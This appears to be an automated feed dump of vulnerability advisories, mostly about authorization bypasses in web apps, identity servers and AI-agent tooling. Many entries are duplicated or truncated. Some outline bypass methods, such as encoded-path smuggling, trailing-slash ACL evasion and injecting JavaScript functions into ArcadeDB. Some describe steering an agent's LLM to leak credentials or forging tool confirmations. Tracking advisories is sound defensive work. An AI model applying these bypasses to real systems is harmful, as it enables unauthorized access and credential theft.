Incorrect authorization in the aggregation pipeline tool in Amazon AWS Labs DocumentDB MCP Server before 1.0.12 might allow an authenticated MCP client to perform inappropriate write operations on the connected database via write-capable aggregation pipeline stages that bypass the read-only mode enforcement logic. To remediate this issue, users should upgrade to version 1.0.12 or later.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper Authorization vulnerability in Apache Answer. This issue affects Apache Answer: through 2.0.1. Any authenticated user can reject arbitrary pending edit-revisions without review permission due to a missing authorization check on the reject operation. Users are recommended to upgrade to version 2.0.2, which fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A user granted write access to a shared chat folder could permanently delete chats and messages belonging to the folder's owner. Deleting a folder cascades into the owner's chats and the entire subfolder subtree, and the deletion handler required only write access on subfolders instead of ownership. Root folders were restricted to the owner or an admin, subfolders were not. ## Precondi
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The terminal WebSocket route authenticates its own first-message JWT instead of going through the HTTP dependency chain, and never applies the role check that `get_verified_user` enforces on every HTTP terminal route. An account whose role is `pending`, meaning registered but not approved, or approved and later deactivated back to `pending`, can therefore open an interactive terminal se
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A user with write access to one knowledge base could delete directories, and drop file embeddings, belonging to knowledge bases they do not control. The sync cleanup endpoint verified write access on the knowledge base named in the URL and then acted on the directory and file ids supplied in the request body without checking that those objects belonged to that knowledge base. ## Precon
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary An authenticated user whose `features.image_generation` permission has been revoked can still make the server generate images by sending the feature flag in a chat-completion request. The chat pipeline took the client-supplied `features` object at face value and never re-checked the permission that the direct image routes enforce, so the denial applied to the UI affordance but not to th
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could exploit this vulnerability to gain elevated privileges. Exploitation of this issue does not require user interaction.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could exploit this vulnerability to gain elevated privileges. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Apache NiFi 2.0.0 through 2.10.0 support creating, reading, and deleting Assets associated with Parameter Contexts through the REST API. The framework authorizes asset deletion against the owning Parameter Context using the supplied Parameter Context Identifier and Asset Identifier. The framework performed authorized based on the supplied Parameter Context Identifier without verifying the requeste
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Authorization handling for Parameter Context validation requests in Apache NiFi 1.10.0 through 2.10.0 allows clients with read access to submit proposed Parameter values. The proposed values override current configuration, enabling users with read access to invoke predefined component validation methods with alternative settings. Apache NiFi installations that do not implement different levels of
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The DuckDB AWS extension for DuckDB contains a security policy bypass vulnerability that allows any database user with SQL execution permissions to extract plaintext AWS credentials by calling the load_aws_credentials function with the redact_secret parameter set to false, circumventing the database-wide allow_unredacted_secrets=false policy. Attackers can invoke this single function to retrieve t
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Chisel is a TCP/UDP tunnel, transported over HTTP and secured via SSH. In versions prior to 1.11.5, authenticated clients can bypass --authfile ACL restrictions and tunnel traffic to arbitrary destinations reachable from the server. The ACL is enforced only during the initial handshake against declared remotes, but never on subsequent SSH channels that carry actual traffic. A malicious client can
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Apache NiFi 2.0.0 through 2.10.0 support creating, reading, and deleting Assets associated with Parameter Contexts through the REST API. The framework authorizes asset deletion against the owning Parameter Context using the supplied Parameter Context Identifier and Asset Identifier. The framework performed authorized based on the supplied Parameter Context Identifier without verifying the requeste
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Authorization handling for Parameter Context validation requests in Apache NiFi 1.10.0 through 2.10.0 allows clients with read access to submit proposed Parameter values. The proposed values override current configuration, enabling users with read access to invoke predefined component validation methods with alternative settings. Apache NiFi installations that do not implement different levels of
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The DuckDB AWS extension for DuckDB contains a security policy bypass vulnerability that allows any database user with SQL execution permissions to extract plaintext AWS credentials by calling the load_aws_credentials function with the redact_secret parameter set to false, circumventing the database-wide allow_unredacted_secrets=false policy. Attackers can invoke this single function to retrieve t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Russh is a Rust SSH client & server library. Prior to 0.62.5, russh dispatches channel-scoped Handler callbacks for recipient channel IDs that were never opened or confirmed in russh/src/server/encrypted.rs, server_read_authenticated, and the exec_request callback. Version 0.62.5 fixes the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
There is a server-side channel state issue in `russh`. After a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Simply Schedule Appointments WordPress plugin before 1.6.12.11 does not perform a capability check on an administrative appointment-listing shortcode, and its per-user result scoping fails open for non-staff users, allowing users with the Contributor role and above to disclose all customers' appointment records, including names, email addresses, phone numbers and notes, across the whole site.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user's ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target's num
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user's ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target's num
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vikunja versions 0.22.0 through 2.3.0 fail to validate the principal type in API token management. Because user IDs and link-share IDs are independent numeric sequences and both resolve through a generic web.Auth.GetID() interface, a link-share JWT whose numeric ID equals a target user's ID is treated as that user by the /api/v1/tokens endpoints. An authenticated attacker can obtain a target's num
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Keycloak provides authorization services that allow administrators to restrict access to resources based on time policies (for example, only allowing access during business hours). A flaw was discovered where a user can include a fake time value in their authorization request that overrides the actual server time. This allows the user to bypass these time-based restrictions and access protected re
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Keycloak provides authorization services that allow administrators to restrict access to resources based on time policies (for example, only allowing access during business hours). A flaw was discovered where a user can include a fake time value in their authorization request that overrides the actual server time. This allows the user to bypass these time-based restrictions and access protected re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB versions before 26.7.2 fail to enforce scripting authorization checks on the SQL DEFINE FUNCTION statement with LANGUAGE js. Attackers with database access can execute arbitrary JavaScript code by submitting DEFINE FUNCTION statements, bypassing security controls intended to restrict scripting to administrators.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenRemote (org.openremote:openremote) versions <= 1.26.2 contain an insecure direct object reference vulnerability in the setAssetLinks endpoint of AlarmResourceImpl. The realm access check validates only a single realm obtained via realms.stream().findFirst() on a HashSet of realms from the request, rather than all realms. Because HashSet iteration order is non-deterministic, an authenticated at
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB 是一个支持SQL和Gremlin的多模型数据库。在版本26.7.2之前，其SQL引擎在处理'DEFINE FUNCTION'语句时，未正确检查用户是否具有执行脚本的授权。具体来说，尽管数据库管理员可以配置仅允许管理员创建JavaScript函数，但由于授权检查的缺失，任何能够连接到数据库并执行SQL查询的用户（包括匿名用户，因为CVSS显示网络攻击且无需权限）都可以利用该缺陷。攻击者只需提交一条形如'DEFINE FUNCTION f() LANGUAGE js AS ...'的语句，即可在数据库服务的进程中执行任意JavaScript代码。由于JavaScript的执行环境通常拥有操作系统用户权限，攻击者可以借此实现远程代码执行，进而完全控制服务器。该漏洞影响数据库的机密性、完整性和可用性，CVSS评分为9.8，属于严重级别。官方已在26.7.2版本中修复此问题。强烈建议所有使用受影响版本的用户立即升级。同时，为降低风险，应限制数据库端口的网络访问，仅允许可信来源连接，并启用全面的SQL审计功能，以便及时发现异常行为。
💡 影响/原因: 该漏洞使任何数据库访问者绕过脚本限制执行任意代码，无需认证即可远程利用，可导致服务器完全失陷，需紧急处理。
OpenRemote (org.openremote:openremote) versions <= 1.26.2 contain an insecure direct object reference vulnerability in the setAssetLinks endpoint of AlarmResourceImpl. The realm access check validates only a single realm obtained via realms.stream().findFirst() on a HashSet of realms from the request, rather than all realms. Because HashSet iteration order is non-deterministic, an authenticated at
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Zephyr's Bluetooth host declares a GATT characteristic as two consecutive attributes: a Characteristic Declaration whose permission is hard-coded to BT_GATT_PERM_READ, and a Characteristic Value attribute that carries the application-specified security permissions (e.g. BT_GATT_PERM_READ_ENCRYPT / READ_AUTHEN / READ_LESC). The public notify and indicate APIs explicitly accept either attribute, and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ArcadeDB versions before 26.7.2 fail to enforce scripting authorization checks on the SQL DEFINE FUNCTION statement with LANGUAGE js. Attackers with database access can execute arbitrary JavaScript code by submitting DEFINE FUNCTION statements, bypassing security controls intended to restrict scripting to administrators.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenRemote (org.openremote:openremote) versions <= 1.26.2 contain an insecure direct object reference vulnerability in the setAssetLinks endpoint of AlarmResourceImpl. The realm access check validates only a single realm obtained via realms.stream().findFirst() on a HashSet of realms from the request, rather than all realms. Because HashSet iteration order is non-deterministic, an authenticated at
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in the http_request tool in Strands Agents Tools before 0.8.2 might allow remote attackers to obtain credentials configured via HTTP_REQUEST_TOKEN_CONFIG by influencing the LLM to route requests through actor-controlled proxy infrastructure. To remediate this issue, users should upgrade to version 0.8.2.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. Prior to 2.6.4, OnionShare CLI/Desktop does not enforce the Receive mode disable_files setting in cli/onionshare_cli/web/receive_mode.py, where ReceiveModeRequest._get_file_stream() writes multipart file[] data to disk despite the text-only setting. This
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources (e.g. `ClusterRole`, `ValidatingWebhookConfiguration`) through a `TenantResource`, because the controller applies them with its cluster-admin ServiceAccount and `SetNamespace` is ineffective for cluster-scoped kinds. The v0.13.0 fix added a cluster-scope rejection guard, but **only o
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. Prior to 2.6.4, OnionShare CLI/Desktop does not enforce the Receive mode disable_files setting in cli/onionshare_cli/web/receive_mode.py, where ReceiveModeRequest._get_file_stream() writes multipart file[] data to disk despite the text-only setting. This
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary OnionShare CLI/Desktop 2.6.3 does not enforce the Receive mode `disable_files` setting at the file upload sink. When a Receive service is configured as a text-message-only endpoint (`--disable-files` / "Disable uploading files"), a remote sender who can reach the OnionShare service can still send a crafted multipart request containing `file[]`; OnionShare writes the uploaded bytes to d
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in the group policy evaluation logic of Keycloak, an identity and access management solution. When a group policy is set to extend permissions to child groups, the system incorrectly uses a simple text-based prefix check to verify group membership. This allows a user who belongs to a different group with a similar starting name to bypass security checks and gain unauthorized acces
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The JS Help Desk WordPress plugin before 3.1.4 does not verify ownership of the targeted reply before updating it, allowing any authenticated user (Subscriber and above) to overwrite the content of any support-ticket reply on the site.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, POST /api/v4/admin/policy/oauth/signin requires only Admin.Read even though GetOauthRedirectService persists caller-supplied OneDrive secret and app_id values, allowing an OAuth token without Admin.Write to modify storage policy credentials. The route is inside the admin group that requires Admin.Read, but it does not
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, a single-file share event-stream subscription resolves the share root to the owner’s parent folder and subscribes to that folder topic, allowing an authenticated share recipient to receive names, paths, rename targets, event types, and hashed identifiers for unshared sibling files and folders. This issue is fixed in ve
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, POST /api/v4/admin/policy/oauth/signin requires only Admin.Read even though GetOauthRedirectService persists caller-supplied OneDrive secret and app_id values, allowing an OAuth token without Admin.Write to modify storage policy credentials. The route is inside the admin group that requires Admin.Read, but it does not
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, a single-file share event-stream subscription resolves the share root to the owner’s parent folder and subscribes to that folder topic, allowing an authenticated share recipient to receive names, paths, rename targets, event types, and hashed identifiers for unshared sibling files and folders. This issue is fixed in ve
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization and security-boundary bypass vulnerability in the bigquery-execute-sql tool component of Google mcp-toolbox versions 0.16.1 through 1.4.0 allows an authenticated attacker to bypass allowedDatasets validation checks. The toolbox relies on the BigQuery dry-run API to enforce dataset restrictions, but due to a fail-open logic flaw, it bypasses validation when the API returns
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization in the direct HTTP API tool invocation endpoint in Google mcp-toolbox versions v1.3.0 and v1.4.0 allows an unauthenticated attacker to invoke tools protected by the scopeRequired feature via sending tool invocation requests through legacy HTTP endpoints when the --enable-api flag is active.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An improper authorization and security-boundary bypass vulnerability in the bigquery-execute-sql tool component of Google mcp-toolbox versions 0.16.1 through 1.4.0 allows an authenticated attacker to bypass allowedDatasets validation checks. The toolbox relies on the BigQuery dry-run API to enforce dataset restrictions, but due to a fail-open logic flaw, it bypasses validation when the API returns
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization in the direct HTTP API tool invocation endpoint in Google mcp-toolbox versions v1.3.0 and v1.4.0 allows an unauthenticated attacker to invoke tools protected by the scopeRequired feature via sending tool invocation requests through legacy HTTP endpoints when the --enable-api flag is active.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SFTPGo prior to 2.7.4 contains a permission bypass vulnerability that allows authenticated users to circumvent per-directory access controls by creating symbolic links in a permitted directory that point to files in directories where download, upload, or overwrite permissions are denied. Attackers can exploit the create_symlinks permission combined with read and write access in one directory to re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SFTPGo prior to 2.7.4 contains a permission bypass vulnerability that allows authenticated users to circumvent per-directory access controls by creating symbolic links in a permitted directory that point to files in directories where download, upload, or overwrite permissions are denied. Attackers can exploit the create_symlinks permission combined with read and write access in one directory to re
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenProject is open-source, web-based project management software. Prior to 17.6.0, GET /api/v3/custom_options/:id resolved CustomOption records by global numeric id and allowed UserCustomField and GroupCustomField options without checking visible(current_user), so authenticated non-admin users could enumerate sequential custom option ids and read labels belonging to admin_only user or group custo
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedI
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedI
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenProject is open-source, web-based project management software. Prior to 17.6.0, GET /api/v3/custom_options/:id resolved CustomOption records by global numeric id and allowed UserCustomField and GroupCustomField options without checking visible(current_user), so authenticated non-admin users could enumerate sequential custom option ids and read labels belonging to admin_only user or group custo
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-48449 是 Adobe Campaign Classic (ACC) 中一个严重的不正确授权漏洞。攻击者可以在无需用户交互的情况下，远程利用此漏洞，在受害者会话上下文中执行任意代码。由于漏洞影响范围发生变化（Scope Changed），攻击可波及不同权限等级的资源。CVSS 评分为 10.0（严重），表明其利用复杂度低、无需权限，且能完全破坏机密性、完整性和可用性。目前该漏洞尚未被列入已知利用清单（KEV），也无公开的在野利用信息。受影响的 Adobe Campaign Classic 版本需要尽快升级到修复版本。推荐措施包括立即应用 Adobe 提供的安全补丁，并限制 ACC 实例的网络暴露，仅允许可信 IP 访问。
💡 影响/原因: CVSS 10.0 的无需交互远程代码执行漏洞，可导致攻击者完全控制受影响系统，且攻击面广，需立即处置。
OliveTin gives safe and simple access to predefined shell commands from a web interface. Prior to 3000.17.0, the service/internal/api/api.go StartActionAndWait and StartActionByGetAndWait endpoints return full LogEntry output after execution without enforcing the logs permission, allowing a user with exec permission but logs:false to read action output. This issue is fixed in version 3000.17.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Pydantic AI is a Python agent framework for building applications and workflows with Generative AI. In versions 1.88.0 up to but not including 1.107.1 and 2.0.0b1 up to but not including 2.5.0, the UI adapters (AG-UI via Agent.to_ag_ui()/AGUIAdapter, and Vercel AI via VercelAIAdapter) use sanitize_messages to strip unresolved ("dangling") client-submitted tool calls from untrusted message history
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 16.6 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an unauthorized user to view project import source information due to a missing authorization check.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.6 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to commit changes to a project after being removed as a member, due to improper authorization checks on merge request collaboration settings.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability in the Agent Development Kit (ADK) allows for continuation forgery in tool confirmations. An attacker who is able to manipulate or inject events into the session history can execute unauthorized tools by forging a tool confirmation response. This is possible because the framework did not verify if the target tool was registered to the executing agent, did not validate if the tool a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ZITADEL is an open source identity management platform. From 2.43.0 through 2.71.19, from 3.0.0 until 3.4.11, and from 4.0.0 until 4.15.1, the email and phone self-management API paths in internal/command/user_v2_email.go, internal/command/user_v2_phone.go, and internal/command/user_v2_human.go allowed users to request returned verification codes without the required permission, allowing users to
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in Quay. A user configured in GLOBAL_READONLY_SUPER_USERS is able to view robot account tokens for repositories they are not a member of, allowing an attacker with read-only superuser privileges to impersonate any robot account.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary A vulnerability in Zitadel's self-management capability allowed users to mark their email and phone as verified without going through an actual verification process. While [`GHSA-282g-fhmx-xf54`](https://github.com/zitadel/zitadel/security/advisories/GHSA-282g-fhmx-xf54) (CVE-2026-27946, "Users Can Self-Verify Email/Phone via UpdateHumanUser API") closed the path that let any authent
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Quarkus HTTP path-based authorization policies can be bypassed using encoded semicolons (%3B) to smuggle matrix parameters past the security layer, and using encoded slashes (%2F) or backslashes (%5C) to access protected static resources. This is a distinct issue from CVE-2026-39852, which addressed only literal semicolon stripping. ### Technical Details The security layer (AbstractPathM
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An Incorrect Authorization vulnerability in open-iscsi allows unprivilidged local users to use the isscsiuio control socket. This issue affects open-iscsi: from ? through 668ca1df9c9a1e9bdd5c999ae1d67c9c8909237e.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Apache Traffic Server can bypass IP access controls on UDS listeners and through ACL matching errors. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 2.4.37 vi the user_filter function. This makes it possible for unauthenticated attackers to create admin accounts.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Apache Traffic Server mis-parses ports in URLs and userinfo, allowing port-based access-control bypass. This issue affects Apache Traffic Server: from 8.0.0 through 8.1.9, from 9.0.0 through 9.2.14, from 10.0.0 through 10.1.3. Users are recommended to upgrade to version 9.2.15 or 10.1.4, which fix the issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.5, the httpserver/handler.go sendFile handler opened files using a cleaned path but derived the authorization filename from raw req.URL.Path, so a trailing slash could bypass .goshs ACL-file protection and block-list checks. This issue is fixed in version 2.1.5.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.1, the httpserver/updown.go bulkDownload handler for ?bulk&file= ZIP downloads did not call findEffectiveACL or applyCustomAuth, allowing unauthenticated reads of files protected only by .goshs folder ACLs and block lists. This issue is fixed in version 2.1.1. This vulnerability exists due to an incomple
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `sendFile` derives the served filename from the raw request path while opening the file from the cleaned path, so appending a trailing slash empties the derived name and defeats both the never-serve rule for the ACL file and the block list. ## Finding (Medium): trailing-slash ACL and hidden-file bypass httpserver/handler.go, sendFile (lines 789-801) takes the filename from the RAW r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GHSA-wvhv-qcqf-f3cx fixed the per-folder .goshs ACL bypass on the state-changing routes (PUT/POST upload/?mkdir/?delete) and added recursive ACL resolution, and its description states the read/list path correctly enforces .goshs. That premise does not hold for the ?bulk zip-download route. bulkDownload (httpserver/updown.go) takes one or more ?file= parameters, runs each through sanitizePath(fs.We
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Bridge is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Bridge is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Bridge is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Bridge is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM OPENBMC FW1110.00 through FW1110.20, and FW1060.00 through FW1060.71 allows ReadOnly users to escalate privileges and give themselves administrator privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A low privileged remote attacker can perform privileged configuration changes reserved for the administrator level including permission management due to incorrect authorization.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.7.8, macOS Sonoma 14.8.8, macOS Tahoe 26.6. A malicious application may be able to bypass Privacy preferences.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
JFrog Artifactory (Self Hosted) versions before 7.133.11 are vulnerable to a privilege escalation attack due to a validation check of the token signature/issuer and not the token’s scope.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
